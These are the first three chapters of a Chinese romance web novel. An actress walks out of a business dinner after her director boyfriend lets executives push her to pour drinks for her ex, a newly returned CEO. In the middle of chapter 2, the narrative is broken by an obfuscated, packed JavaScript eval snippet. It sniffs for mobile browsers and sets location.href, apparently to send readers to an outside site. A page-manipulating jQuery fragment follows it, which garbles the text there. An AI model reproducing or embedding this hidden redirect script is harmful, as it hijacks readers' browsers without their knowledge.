《婚后沉迷》 1. 第 1 章 安芩市,初冬料峭。 日暮西斜,影视城护城河畔,最后一场戏的拍摄刚结束。 姜梨裹着厚厚的毛毯,化妆师正仔细为她擦拭湿发,水珠沿着她精致好看的脸颊滑落,清丽的不染尘埃。湿漉漉的睫毛下,一双漂亮的桃花眼眼尾微扬,眸底却不见媚意,反倒目光清澈,为她平添几分飒爽的英气。 助理递来热茶,她伸手接过时,冻得微红的指尖在杯壁上轻轻摩挲。 “今天大家辛苦了!”导演在不远处扬声说道,目光转向姜梨时,语气格外和煦,“姜老师尤其不容易,这条入水戏一次就过,非常完美!” 片场响起稀稀落落的掌声,姜梨捧着水杯露出释然的微笑。 待她离开后,几个工作人员低声议论起来: “姜梨去年刚拿了金奖,风头正盛,怎么会接女二?” “听说是她自己主动争取的。都这个咖位了还愿意演配角,确实少见。” “会不会是抢不到女一号,为了挽尊才这么说?” 众人陷入沉默,显然都有同样的猜测。毕竟这部剧的女主角秋零,不仅同样是得过一个金奖的视后,丈夫更是本剧的投资方之一。 二十三岁的姜梨,资历尚浅,身后又没有资本撑腰。在这个圈子里,有些角色争不过也是常态。 不知是谁感慨:“她也算幸运了,当初刚进大学就被林导赏识,给了不少资源,这些年算是林导手把手带出来的。” 大家纷纷点头。 娱乐圈从不缺有美貌和有演技的人,空有这两样,是很难出头的。姜梨一脚踏进娱乐圈就遇到贵人,谁能不说一句命好? 尤其林导年轻有为,温润儒雅,这些年不知多少女演员为了博个机会主动接近他,最终都无功而返。 只有姜梨,五年来得他青睐,被稳稳护在他的羽翼之下。 有人说,林导自己便是穷苦出身,靠着才华和坚韧一步步走到如今,深知这里面的辛酸不易。他自己淋过雨,如今是真心在为姜梨撑伞。 众人正八卦,一辆保时捷停在不远处的梧桐树下,车身映着巷口刚亮起的灯笼光,很快引得零星路过的群演和场务侧目。 车门打开,下来的男人咖啡色羊绒大衣裹着修长身形,斯文谦和。 此人便是大家刚刚谈论过的,圈内以“极致美学”闻名的新锐导演,林晋泽。 “林导!”剧组导演立即迎上前,语气热络,“您又来探姜老师的班?她刚拍完落水戏,去换衣服了。” 说着又赞叹道,“姜老师不愧是您带出来的,这么冷的天亲自下水,一句怨言都没有,这份敬业实在难得。” 林晋泽眸光微闪,对着剧组导演点了点头:“你先忙,我去看看她。” 风掠过他的大衣下摆,林晋泽抬步去换衣间。 - 姜梨换上干爽的衣服,助理阿黛站在后面拿着吹风机帮她吹头发。 经纪人莫雅云递来一粒布洛芬,姜梨就着温水服下。 等头发吹干,阿黛收起吹风机,莫雅云关切地问:“感觉好些了吗?肚子还疼得厉害?” 姜梨面色已经恢复了些红润,笑着摇头:“我没事。” 这时外面敲门声响,有人传话道:“姜老师,林导来了,在休息室等您。” 姜梨眼眸一亮:“知道了。” 阿黛笑着和莫雅云打趣:“自从一年前梨梨和林导确定关系,林导对梨梨越发上心了。” 莫雅云:“可不是,又能在事业上当指路明灯,又会体贴人,这样的男朋友打着灯笼都难找。” 见她俩一脸打趣,姜梨耳根微热,没接话,快步走向隔壁休息室。 门推开,林晋泽坐在椅子上,随意翻着她用五颜六色的笔做了标注的剧本。 他偏头,对上姜梨的视线:“今天怎么拍了水戏?我记得这场戏不是今天。” 姜梨关上休息室的门,走过去。 见林晋泽伸手,她自然地搭上去,坐在他边上,这才慢吞吞解释:“对戏的演员老婆快生了,预产期就这两天。我想着他惦记家人,再加上我生理期日子不确定,就和导演商量提前拍了。总不能让他干等着。” 只是没想到,她刚下水生理期就到了,腹痛难忍,幸好备了止痛药。 姜梨的两只手都是凉的,林晋泽帮她握在掌心暖着。 他知道这场戏,对方是个跑了很多年龙套的小演员:“你如今的地位,没必要迁就他,自己的身体才要紧。” 姜梨抬眸看他一眼:“你不是说过吗,在这个圈子里,光鲜亮丽的只是一小部分人,绝大多数人为了养家糊口,混得都不容易。我既然知道他的情况,能帮就尽量帮一点,生孩子是场鬼门关,他肯定早点回家陪老婆的好。” 林晋泽无奈地捏了捏她的鼻尖:“大家若都知道你脾气软,好说话,以后全都找你求情帮忙,你怎么办?” 姜梨莞尔:“事有轻重缓急,我心里有数的,不会做滥好人。” 林晋泽视线重新落在剧本上,她这个角色是个杀手,过的是刀尖舔血的生活,高难度打戏,以及长时间吊威亚的戏份有很多,天渐渐冷了,后面要吃不少苦头。 更何况还是个女二号,林晋泽认为不值得。 剧本是林晋泽为她争取的,原本定了她演女主角,一个背负国恨家仇的亡国公主。 结果秋零仗着老公是投资商,空降成为女一。 林晋泽虽然有些名望,但终究只是个导演,根本没有能力撼动资本。 想到这些,林晋泽漆深的瞳色黯了黯:“你放心,被夺走的,以后都会讨回来。” 他看向姜梨,有些恨铁不成钢,“白教你这么些年,半点脾气都没有。以你如今的咖位,不该主动给秋零做配,这会让旁人看轻你。” 姜梨不以为然:“从始至终,我都认为这个剧本女二比女一更出彩,我也跟你说过,我想演女二。做演员的初衷,不就是努力抓住机会,去演自己想演的角色吗?” 这剧的女主国破家亡后,一心想要复仇,结果被男主利用欺骗,相爱相杀,在复国无望后选择坠楼而死。 一个很俗套又悲凉的故事设定。 女二是公主的幕僚,也是冷酷无情的杀手,因公主救过她而对公主誓死效忠。国破后,她拼命救公主逃离,又为了复国,在乱世中周旋于各方势力之间,几乎只手挽回危局,却因公主错信男主满盘皆输。 在公主死后,她选择放下一切,隐入山林。 姜梨很喜欢这个人物:“我不在乎咖位不咖位的,自己演过瘾了就行。” 林晋泽眼底透出赞赏:“在这个追名逐利的圈子里,你还能保持这份初心,很难得。” 姜梨被他夸的不好意思:“每个人的追求不一样嘛,想红也没什么不对的,都是为了更好的生活。” 没有再深聊这个话题,姜梨问他:“你今天忙吗,晚上一起吃饭?” 林晋泽虽然常来,但他有自己的事要忙,新的剧本也在四处拉投资,每次都是过来小坐一会儿就走。 他们相识五年,交往一年,这一年来各有事业,聚少离多,能好好相处的时间,实在是少得可怜。 “就是来叫你一起吃饭的。”林晋泽说着,见她面露喜色,又补充道,“晚上有个饭局,你陪我一起去。” 姜梨刚扬起的嘴角滞了下,她还以为只有他们两个人。 不过也不算特别意外,林晋泽有很强的事业心,总是忙于工作,能陪她的时间本就不多。 如今能工作约会两不误,很符合他一贯的作风。 只是姜梨今天拍了一天的戏,又来了例假,刚刚吃了布洛芬才稍微缓和一点腹痛,如果只是两人吃顿饭,她还愿意撑一撑。 若是饭局,她觉得有点累。 从小到大,她都不喜欢那样的场合。 “什么样的饭局?” “集团总部的领导层今天来公司视察,晚上乔总做东,给领导们接风。”林晋泽看向姜梨,“这是难得露脸的机会,不少公司艺人抢着出席,乔总都没给机会,只点名让我带上你。” 姜梨狐疑:“我又不是公司最火的艺人,为什么点名要我?没什么潜规则吧?” 不怪她有此猜想, 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“原本是这样,但今年推选的流程上出现了变动。”林晋泽说,“集团太子爷回国接任总裁,对影视板块颇为关注,今天亲自带人来耀起视察,并且改了规则,最终推荐哪部作品入围需要他亲自拍板。” 他顿了顿,看向姜梨:“所以,乔总希望我们出席今晚的饭局,在慕总面前留个好印象。” 姜梨眼睫倏然抬起:“慕辰帆回国了?” 林晋泽敏锐地捕捉到她眼底一闪而过的讶异,眼眸微眯:“你很关注他?” 姜梨神色微怔,旋即道:“毕竟是曾经的现象级顶流,我惊讶一下也不奇怪吧。” 林晋泽没再多问:“他今天刚下飞机就上了热搜。” 他手机点开微博,给她看。 慕辰帆算是童星出道,很小的时候就开始出演作品,积累很多观众缘。 高中时期,他主演的武侠电影《万剑归宗》一举刷新历史票房纪录,达到了武侠类型片中前所未有的巅峰。 此外,这部电影以幽默欢快的节奏和对照现实的深远立意,打通了年龄与圈层的壁垒,成为一部公认的现象级全民电影。 他也由此红遍大江南北,一跃成为炙手可热的行业顶流,风头无两。 有人说,慕辰帆很有机会凭借这部武侠片斩获影帝,他也将是娱乐圈史上最年轻的一位影帝。 然而,就在他事业如日中天之时,高考后没多久,他突然宣布退圈,远赴海外研读商科,错失得奖机会。 路人和粉丝为他唏嘘叹惋的同时,他的家世背景被媒体曝光—— 出身顶级老钱家族,父亲是慕氏掌权人,母亲是金牌编剧、电影学院教授。 显赫的出身,上天的宠儿。 真正的天之骄子,万众瞩目。 网友们这才明白,人家在巅峰时期退圈,并不是断送了大好前程,而是回家继承更庞大的家业去了。 不过自从去了国外读书,这五年来,媒体很少再有关于他的消息。 原以为他打算从此就这么低调下去,没想到刚一回国就登上热搜。 姜梨的视线落在林晋泽递来的手机屏幕上。 那是一张机场抓拍照,画面中一辆黑色商务车停在VIP通道旁,车门尚未关严。 男人坐在车厢后座,穿着一件质感极佳的深灰色风衣,里面是件简单的黑色毛衣。似乎刚结束长途飞行,他微仰着头,下颌线与脖颈拉出一道利落的弧线,喉结清晰可见。侧脸线条在昏暗的车内光线下显得格外冷峭。 确实是慕辰帆,曾经搅动半个娱乐圈的风云人物。 也是姜梨自幼相识的竹马。 除此之外,两人在高考后的暑假,曾短暂地谈过一段,算是前任。 不过自从分手后,这些年,他们两个越来越生疏,越来越不熟,甚至连普通朋友都有点算不上了。 姜梨点开手机,没有新消息。 慕辰帆回国继任慕氏总裁没有告诉她。 诚如五年前,他毫无征兆地宣布退出娱乐圈,决定远赴英国读书。 她也是从别人口中知道的。 2. 第 2 章 林晋泽说这种场合要注意基本的商务礼节,于是从剧组出来后,先带着姜梨做了造型,换上一条长袖的掐腰连衣裙。 裙子是珍珠白的颜色,简约雅致不张扬,却衬得姜梨肌肤如玉,眸若点星,一种干净又夺目的气质浑然天成。 去饭局的路上,车辆平稳行驶,宽敞的车厢内,林晋泽和姜梨分座在两边,中间隔着过道。 林晋泽隐约察觉她的疲惫,温声问:“肚子还疼?” 姜梨摇摇头:“还好,就是拍完戏有点累。” 另外,想到今晚的饭局上有慕辰帆,她心情复杂。 陪着现任参加公司为前男友接风的饭局,姜梨怎么想都觉得别扭。 迟疑着,她再次看向林晋泽:“真的非去不可?” 林晋泽说:“乔总容许我带上你,是他好意提携,我们若不领情,岂不显得不知好歹?” 他拍拍她的手背,言语安抚,“到时候看看情况,或许可以提前离开。” 见姜梨沉默,林晋泽又轻叹一声:“没办法,这个圈子就是这样等级分明。有些人天生就站在高处,稍微努力就能得到一切。而我们这样的普通人,没有家世依托,是没办法为所欲为的。” 说到此处,他望向姜梨,目光温柔:“不过你有我。无论我能站到什么高度,都会紧紧拉着你,也会尽量护着你不受委屈。” 这番话让姜梨心头升起暖意,却又五味杂陈。 她想起刚上大一时,有幸被名导选中出演《魅影》女一号。那时的她青涩懵懂,演技生硬,在片场屡屡被导演训斥,甚至几次面临换角危机。 为了不辜负这个机会,她不拍戏时就默默观察他人表演,反复研读剧本,私下刻苦练习。她总是最早到片场,最晚离开。正是这份坚韧,打动了当时还是副导演的林晋泽。 “你叫姜梨?”他用饱含深意的目光看着她,“这个圈子向来捧高踩低,趋炎附势,如果你有背景,就不用吃这么多苦了。” 姜梨当时正因为又被导演训斥而沮丧,一时没反应过来他说了什么,只茫然地看着他。 林晋泽却笑了:“不过,你是个普通女孩也没关系。我可以帮你。” 林晋泽一直以为她毫无背景,家境普通,因着这份误解,他倾囊相授,悉心指导。 深知他厌恶阶级差距,看不上倚仗家世的富二代,姜梨始终不敢向他吐露实情。 圈内赫赫有名的尹氏集团董事长尹遂,其实是她的父亲。 星途传媒作为娱乐圈数一数二的存在,于庞大的尹氏集团而言,却只是旗下众多子公司中的一个。 姜梨原本姓尹,名叫尹梨。 高考后,她想进娱乐圈,也靠着自己的努力顺利考进电影学院表演系。 然而进大学之前,她就经常遇到老同学问她:“尹梨,听说你想进娱乐圈?你姓尹,星途传媒就是尹氏集团旗下的,你跟他们家有没有什么关系?” “对啊对啊,哪怕你和尹氏拐着弯有点关系,你以后进娱乐圈也有数不尽的资源了。” “你肯定就是因为有背景,所以才想进娱乐圈的吧?” …… 类似这样的讨论经常出现,尹梨为了让自己不那么招摇,入大学前,把姓氏改随了母亲,避免大家听到她的名字后和尹氏以及星途传媒联系在一起。 她也由最初的尹梨,更名为姜梨。 当初她说想进娱乐圈,父母兄长觉得圈里太过混乱,怕她受委屈,一致商量要把星途传媒给她打理,她想怎么经营就怎么经营。 然而姜梨没要,还是毅然决然地选择了做个小演员。 因为她喜欢演戏,不喜欢管理。 她就是林晋泽口中,含着金汤匙长大,一出生就拥有很多,得天独厚的“有些人”。 不知不觉间,她和林晋泽已经相识五年。 最初因为他是全剧组第一个对她伸出援手的人,姜梨感激他。 后来,她又连续主演了两部由林晋泽升任总导演的电影,担纲女主角,票房与口碑双收。 两人更是凭借影片《墨问》,荣获金梅奖最佳导演奖和最佳女演员奖提名。 从那时起,她和林晋泽的名字开始在各自的领域里,被越来越多的观众熟知。 也是这两部作品的深入接触,让她渐渐发现,他作为导演在专业领域确实有过人的才华,她对他生出敬意。 去年大学毕业,林晋泽向她告白,她答应做他的女朋友。 两人相处的时间越久,姜梨越没有合适的时机告诉他真相。 今晚要跟他一起和慕辰帆见面,或许,她应该在这之前,先跟他把一切都说清楚。 她是尹氏的千金,慕辰帆的前女友,不知道他得知真相,会是什么反应。 姜梨欲言又止。 “怎么不说话了?”见她脸色不好,林晋泽看过来,“身体不舒服?” 姜梨笑着摇摇头:“不是。” 她抿了抿唇,鼓起勇气迎上他的目光:“泽哥,有件事我其实一直想告诉你,却总是不知道该怎么开口。” 林晋泽微微挑眉,眼底掠过一丝困惑。 这时,车缓缓停在会所门前。 “饭局结束再说吧。”他看一眼窗外,回头温声道,“乔总在外面,我先过去打个招呼。” 车门打开,夜风裹着寒意涌入车厢。林晋泽没等她回应,已躬身下车。 姜梨独自坐在原处,那句酝酿了许久,几乎涌到唇边的话,就这样无声地咽了回去。 她这一侧的车门被侍者拉开。 另一边,林晋泽已快步走到会所门前,正站在低一阶的位置,微微仰头与台阶上的乔总交谈。 乔总的目光越过他的肩头望向这边,林晋泽也随之回头。他的眼神依旧温和,眼底却藏着一丝不易察觉的催促。 姜梨暗暗吸了一口气,在助理的搀扶下拎着裙摆,踩着精致的高跟鞋优雅下车。 晚风拂动她鬓边的碎发,她扬起得体的微笑,朝等候的两人走去:“乔总好。” 乔总五十岁上下,微微有些发福,目光在姜梨的身上短暂停留,笑着道:“小姜今天这身很衬你。” 姜梨颔首:“谢谢乔总。” 乔总转而看向林晋泽:“《冻土》的申报材料我看过了,很有潜力。” 他压低声音,“今晚吃饭的时候,我找机会再多向慕总推荐推荐你,尽量把入围国际奖的事敲定下来。” 林晋泽语气恳切:“多谢乔总。” 注意到姜梨衣衫单薄,怕她冷着,他适时提醒,“乔总,外面冷,咱们进去再说吧。” 乔总应着,率先转身,林晋泽紧随其后,两人一边低声交谈,一边转身往里进。 姜梨跟在后面,脚下的细高跟磨得脚后跟生疼,让她渐渐落后了几步。 她想喊林晋泽等等她,看到前面两人相谈甚欢的背影,没出口的话又咽了回去。 林晋泽专注地听着乔总说话,时不时点头附和。走了一段路,他终于察觉到异常,回头望去,只见姜梨独自落在后方,身影在空旷静谧的大堂中显得有几分单薄。 他停下脚步,投来询问的目光。 姜梨快走几步上前,小声跟他说:“你们先聊,我得去趟洗手间。” 林晋泽默了两秒,温声叮嘱:“快去快回。” - 姜梨从洗手间出来时,对着被磨红的脚后跟拍了张照,正想跟林晋泽吐槽他今晚准备的鞋子。 点开手机,看到他发来的几条信息: 【七楼揽月轩,直接上来。】 【还没好吗?怎么这么久?】 【快点,一会儿领导们就到了,迟到不好。】 看着这带着催促的字句,姜梨眼底的光微微黯淡。 在一起这一年,她也渐渐看明白了,林晋泽什么都好,可一旦涉及工作,其他所有事都要退居其次。 比如现在,他只会让她快点,不会想起问她为什么这么久。 也许,像他这样全靠自己一步步打拼上来的人,天生就是工作狂吧。 她轻叹一声,删掉了原本要发送的照片和抱怨,只简短的回复了两个字:【好了。】 收了手机,姜梨走向电梯口,指尖刚触碰到电梯按钮,身后便传来一阵沉稳的脚步声,伴随着低声交谈。 她下意识回头,整个人倏地顿在原地。 慕辰帆被人簇拥着走来。 他身着剪裁考究的深灰色西装,比机场抓拍中更显挺拔冷峻。几位高管模样的男士跟随在侧,正低声向他汇报着工作,而他只是微垂着眼睫,漫不经心地听着,举手投足间透着疏离的掌控感。 似乎察觉到她的注视,男人抬眸望来。 他的眼神深邃依旧,却比记忆中更添了几分难以捉摸的沉静,像是冬日结冰的湖面,看不出底下是寒潭还是暖流。 目光相撞的刹那,男人不动声色地移开目光,像是没认出她一般。 姜梨也平静地移开眼去,默默盯着电梯跳动的数字,装作没有看到他。 人群在她跟前停下,慕辰帆没往这边看,仍低声和大家说着什么。 直到电梯门“叮”一声打开,他在众人的簇拥下率先步入电梯,其他人迅速跟上,将他围在中间。 姜梨站在原地,想着旁边那栋电梯也快下来了,于是没有跟上去,静静看着那两扇电梯门缓缓合上。 当电梯门只剩下最后一条缝隙时,门忽然被人从里面打开。 慕辰帆修长的指腹按在开门键上,黝黑的眸子看她:“不进来?” 姜梨错愕地抬眸。 一时间,电梯内所有高管的目光都聚焦在她身上,或探究,或揣度。 娱乐版块的负责人邵总认出她来:“这不是姜梨吗,慕总都说让你进来了,还站着干嘛,赶紧的。” 姜梨终是缓步走进电梯,朝慕辰帆微微颔首:“多谢慕总。” 又对着邵总点头,“多谢邵总。” 电梯缓缓上升,密闭的空间里格外安静。 她站在慕辰帆身侧,能闻到他身上的苦橙叶味,清新中带着微涩,与记忆深处阳光和汗水交织的味道截然不同。 姜梨注视着跳动的数字,手里握着的手机忽然响起震动。 以为又是林晋泽发来的催促信息,她下意识点开。 居然是慕辰帆。 MZZ:【可以。】 两人已经很久没在微信上联系过,姜梨恍惚了一瞬,看着眼前的消息,掀起眼皮看向身侧的男人。 见他没看自己,姜梨重新看向手机,对着聊天界面缓缓打出一个符号:【?】 MZZ:【交了新的男朋友,连招呼都不会打了。】 姜梨:“……” - 七楼到了,电梯门打开。 慕辰帆收了手机走出来,姜梨跟在他后面。 林晋泽在包厢外等候多时,迟迟不见姜梨身影,正欲下楼寻找。 甫一转身,便看见电梯间里走出一行人,为首的正是慕辰帆,而姜梨竟跟随在一众集团高管之间。 他立即快步迎上前,在慕辰帆面前站定,语气恭谨:“慕总,乔总已经在揽月轩等候多时了。” 话音刚落,邵总笑望过来:“林导?” 林晋泽认出对方正是集团娱乐版块的总负责人,也是乔总的顶头上司,忙恭敬问候:“邵总。” 邵总微微颔首,语气和善:“《冻土》这部作品,你们乔总拿给我看了,拍得很有深度。” 他转向慕辰帆,自然地引荐,“慕总,这位就是林晋泽导演,今年耀起重点推荐的《冻土》正是他的作品。” 慕辰帆的目光扫过林晋泽,淡淡“嗯”了声,语气听不出情绪。 这轻描淡写的回应,让林晋泽准备好的谦辞全都哽在喉间。 邵总是个人精,见状适时地侧身引路:“慕总,前面就是包厢,这边请。” 慕辰帆离开时,看了眼姜梨,随后对身侧的蒋秘书低声吩咐了句什么。 蒋秘书应声点头,重新回到电梯下一楼。 无人在意这边的小插曲,慕辰帆在一众高管的簇拥下去往包厢。 电梯口,姜梨见林晋泽面上有些讪讪,有心安慰两句,他却已收拾好情绪,眉眼温润地看她:“走吧。” 她挽上他的手臂,随着人流步入包厢。 包厢内觥筹交错,慕辰帆端坐主位,被一众高管簇拥着。 姜梨随林晋泽在位置上落座,旁边还坐着一个当红男明星,两个导演。 一众资本和集团高管面前,他们几人坐在末尾,低调得如同背景。 见无人留意这边,姜梨乐得自在,垂眸安静用餐。 酒过三巡,乔总作为耀起影业CEO顺势接过话头,特意再次提及林晋泽的新作《冻土》。 主位上,慕辰帆依旧神色疏淡。 这般接连的冷淡态度,让在座众人面面相觑,一时摸不透这位新总裁的脾性。 林晋泽捏着酒杯心底一沉。 乔总脸上的笑容僵了僵,举着的酒杯悬在半空,收也不是,放也不是。 邵总从容举杯,笑着打圆场:“说到我们耀起的优秀人才,姜梨可是去年的百蕊奖视后,前年还提名了金梅奖。” 他目光转向末座的姜梨,眼底透着赞赏,“小姜的表演很有灵气,是公司重点培养的新生代。” 不少人的视线随之投来。 姜梨没想到话题会突然转到自己身上,微微一怔,随即从容起身,执起面前的茶水杯,唇边漾开得体的浅笑:“邵总过奖了,我还要多向前辈们学习。” 慕辰帆视线穿过满座宾客,落在她身上。 “这样的场合,怎么能以水代酒?”邵总笑着阻拦,示意侍者,“给姜小姐换酒。” 姜梨面露难色:“邵总见谅,今日身体实在不适,不便饮酒。” 说着下意识看向身侧的林晋泽,希望他帮着说两句话,她来时告诉过他,自己今天来了例假。 然而林晋泽仍沉浸在作品被否定的低落中,神情木然,对她的求助毫无所觉。 侍者已经端着红酒走上前来。 姜梨看着那杯酒,正迟疑,主位上响起一道清淡的嗓音:“既然身体不适,不必勉强。” 姜梨抬眸,对上男人沉静的视线,又垂下眼睫:“多谢慕总。” 她将杯中温水一饮而尽,重新落座。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144517|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这细微的互动落在一旁的邵总眼里,他眼底精光一闪,含笑开口:“既然姜小姐不便饮酒,光是坐着也闷得慌。不如就请移步,坐到慕总身边来,今晚劳你费心,为慕总斟酒,也显得我们周到些。” 姜梨闻言一怔,下意识看向林晋泽。 当着男朋友的面去坐在另一个男人旁边,为其斟酒,这算什么? 林晋泽此刻终于回过神来,脸色显而易见地变得难看。 在座的集团高管或许不明就里,但乔总心知肚明他与姜梨的关系。他带着一丝难以置信,看向乔总。 乔总脸上依旧堆着笑,话语却带着上位者的敲打:“邵总说得对,小姜是在场唯一的女明星,又心思细腻,由她坐在慕总身边照应,再合适不过。” 他侧首看向林晋泽,目光里带着几分暗示,“小林,你说是不是?” 林晋泽一眼便听懂乔总的深意。 慕总本来就不满意《冻土》,现在不能再触怒他。若是姜梨能哄得慕总高兴,作品入围就还有转机。 这是乔总的暗示,也是对他的警告。 包厢内所有人的目光都落在这边。 另外两名导演和男明星也互相对视着,留下意味深长的表情。 他们终于明白,乔总今晚这样的饭局,为何独独让林晋泽带了女伴过来,却不让其他女明星出席。 都说慕氏集团的新任总裁刚从国外回来,传闻清冷禁欲,不解风情。 乔总不敢轻易安排女明星招待他,于是借着林晋泽女伴兼公司女明星的身份,要求姜梨出席,顺便试探慕总对女色的态度。 姜梨的长相是业界公认的出挑,刚刚慕总又明显对姜梨有维护之心,于是乔总便和邵总有了让姜梨去照顾慕总,从而借机奉承的念头。 可叹林晋泽在此之前,恐怕还以为,乔总让他带上女朋友,是抬举他,看重他。 姜梨也是在此刻,渐渐明白了乔总和邵总的用意,心底渐渐发冷。 她侧目,看向林晋泽此刻挣扎的神色,忽然不敢确定,这种情况下,他会选择保住前程,还是选择维护她。 林晋泽表情复杂,放在腿上的拳头握紧又松开,最后极其轻微地点了点头。 他居然真的同意了! 姜梨的心往下沉。 她不可思议地看着林晋泽,见他目光躲闪,连看都不敢看她,她苦涩地笑了下,唇角掠过一丝几不可见的讥诮。 她压下心中怒意,倏然间从座位上起身。 席间众人全都朝她看过来,以为她这是打算挪到慕总身边去。 乔总心中一喜,急忙体贴地吩咐一旁的侍者:“站着做什么,去把姜小姐的座位挪过来。” 侍者还没来得及有动作,听到姜梨淡淡开口:“乔总还是自己去倒酒吧,我身体不舒服,先失陪了。” 没有理会众人惊愕的脸色,她拿过手边的包转身离开包厢。 包厢门“砰”的一声合拢。 满座哗然。 谁都不敢相信,一个耀起的女艺人竟敢在慕氏总裁面前如此放肆,全然不顾自己的前程。 乔总脸色煞白,慌忙起身:“慕总见谅,这姜梨仗着去年得了奖,实在有些无法无天了,我回头一定……” 话未说完,便被慕辰帆一记冰冷的眼风慑住,乔总生生咽回了后半句,脊背莫名发凉。 邵总见状,睨了眼到现在还看不清具体状况的下属,心中直摇头。 先前慕总主动邀姜梨进电梯,刚才又特许她以水代酒,这时候还敢说姜梨的不是,这不是摆明了得罪慕总? 邵总立即举杯接话:“慕总,是我考虑不周,不该让身体不适的人勉强。我自罚三杯。” 林晋泽怔怔望着那扇紧闭的门,心绪翻涌。 他没错过姜梨离开时眼底的失望和羞辱,但他心里明白,若此时追出去,便是当众拂了慕总颜面,也得罪邵总和乔总。 女朋友可以私底下再哄,若是得罪包厢内这些人,从今往后他在圈内将再无立足之地。 在众人探究的注视下,他终究还是颓然地坐在原处,搭在膝上的手悄然攥紧。 慕辰帆没错过他脸上阴晴不定的情绪变化,看着这个男人最终选择了保全自己,他眸色沉静,深处却似寒潭结冰,冷意渐深。 倏忽间,他从座位上起身,拎起手边的外套。 席间众人的视线看过来,慕辰帆微微颔首,语气平稳得体:“诸位慢用,我失陪片刻。” 说着,他大步离开包厢。 - 姜梨从包厢出来,疾步走向走廊拐角。 方才包厢里那荒诞的一幕,不断在脑海中重演。 她早知道林晋泽看重事业,也理解他在圈中步步为营的不易。 可她无论如何也无法相信,他会为了前程,默认她去向另一个男人曲意逢迎。 止疼药的药效有些过了,小腹传来熟悉的细微坠痛,将她的情绪彻底拖入谷底。 就在这时,长廊拐角处传来包厢门开合的声响。一阵略显急促的脚步声随之而来,在空旷的走廊里格外清晰。 应该是林晋泽终于意识到自己的荒唐,追出来找她了。 姜梨此刻根本不想看见他,当即加快脚步走向电梯。 身后的脚步声却如影随形,始终跟她保持着恰到好处的距离。 停在电梯口,感觉林晋泽还跟在身后,她压抑许久的怒火终于爆发,烦躁地转身:“你不去巴结那些领导,还跟来做什——” 话音未落,她愣在原地。 电梯口冷白的灯光泻下,清晰勾勒出男人伟岸的身形。 慕辰帆看着她,头顶利落的短发被光镀了层浅灰,更衬得眉眼深邃。 想到刚刚发生的事全都被他看见,姜梨不自觉地抿紧唇瓣。 难堪与窘迫的情绪蓦地涌上,她生怕他会脱口而出:姜梨,这就是你交的新男朋友?看着也不怎么样。 强烈的羞耻感掩盖了满腔的委屈,很快又转化为无名的怒火,她瞪向慕辰帆:“慕总看戏看得不够满意,如今还要追出来嘲讽一番?” 慕辰帆眉心微动,眼底掠过暗流:“这话怎么说?” 恰在此时,电梯“叮”一声打开,蒋秘书走了出来:“慕总,姜小姐。” 见有第三人在场,姜梨咽下冲到嘴边的话,直接黑脸进了电梯。 指腹摁亮一楼键,她正要关门,慕辰帆骨节分明的手拦在电梯门口,抬眉看她:“我没那么想。” 逼仄的空间放大了情绪,姜梨怒道:“你没这么想,但你这么做了。若不是你冷眼旁观,纵容下属,那些人怎会为了讨好你企图让我给你当陪酒?说来说去,这个圈子里那些龌龊的潜规则,多半就是被你们这样的人纵容出来的!” 慕辰帆缄默。 他的本意是想看看,那个男人在关键时刻,到底把她放在什么位置。 没想到最后把她置于那样的境地。 “我近两年只经手海外的生意,和总部的人接触不深,今晚的事并非我所愿。至于你怪我没有及时阻止——” 慕辰帆顿了顿,仍叫她以前的名字,“尹梨,刚刚你的现任男朋友都没表态,我这个前任,该以什么身份越俎代庖?” 3. 第 3 章 姜梨被他噎了一瞬,想到林晋泽刚才的态度,心底一阵悲凉。 可是当着慕辰帆的面,她做不到就这样承认自己的男朋友有瑕疵:“娱乐圈是什么样的地方你不知道吗,稍不留神得罪权贵,就有可能断送整个职业生涯。他只是一个摸爬滚打多年才终于有了点成绩的导演,在这场饭局上,哪敢轻易得罪你们这些上位者?” “是吗?”慕辰帆的声音冷了下去。 他不再看她,从蒋秘书手上接过一个纸袋,勾在她的手指上。紧接着,一件还带着他体温的西装外套罩在她头上。 姜梨的眼前一片漆黑,鼻端又嗅到那抹苦橙叶的清冽味道,绿意盎然的微涩中裹挟着若有似无的柑橘清甜。 她愠恼着把衣服扒拉下来,正要瞪他,却见慕辰帆已经退出电梯厢。 隔着电梯门,慕辰帆漆深的眼瞳望着她:“我只知道,无论处在什么位置,我不会舍得让自己的女朋友受委屈。” 姜梨的面上微微失神,下一瞬,电梯门徐徐关上。 - 电梯口,慕辰帆望着变换的数字,久久未动。 蒋秘书轻声劝慰:“慕总,姜小姐在气头上,说的话未必是真心。” 慕辰帆没有回应。 姜梨没说错。 他刚刚的确在冷眼旁观。 他甚至在心里阴暗地想过,如果林晋泽表现得够差劲,以姜梨的脾气,大概就把他甩了。 事实果真如他所料,林晋泽为了前程弃她于不顾。 可让他没想到的是,即便这样,姜梨刚才还在出言维护他,为他辩解。 当初甩他的时候,倒是分得决绝,半点情面不留。 慕辰帆心中无名火窜上来。 他不想承认,他此刻居然对那个男人妒火中烧。 - 抵达一楼,姜梨径直穿过静谧雅致的会所大堂。 推开厚重的玻璃门,凛冽的寒风让她不由自主地打了个寒颤。 小腹还在隐痛,她也顾不上客气,直接将慕辰帆的外套紧紧裹在身上。 身上终于暖和了,她垂眸看向刚刚慕辰帆塞给她的纸袋。 里面是消毒的碘伏,棉签,还有一盒创口贴。 姜梨先是觉得这东西来得莫名其妙,等脚后跟的疼痛袭来,她才不可思议地再次低头看向手里的东西。 他什么时候发现她脚受伤的? 仔细回忆,应该是两人刚碰见,她进电梯那会儿。 泊车区,助理阿黛远远看到姜梨从会所出来,急忙下车小跑着迎上来,气喘吁吁地问:“梨梨,你怎么这么早出来了。” 她说着,又往她后面看了看,疑惑,“林导呢?” 提到林晋泽,姜梨面上的神色黯了黯。 又见林晋泽的司机也跟过来,她淡声对阿黛道:“叫我们的司机过来,我要回剧组。” 林晋泽的司机恭声道:“姜小姐,我送您吧。” 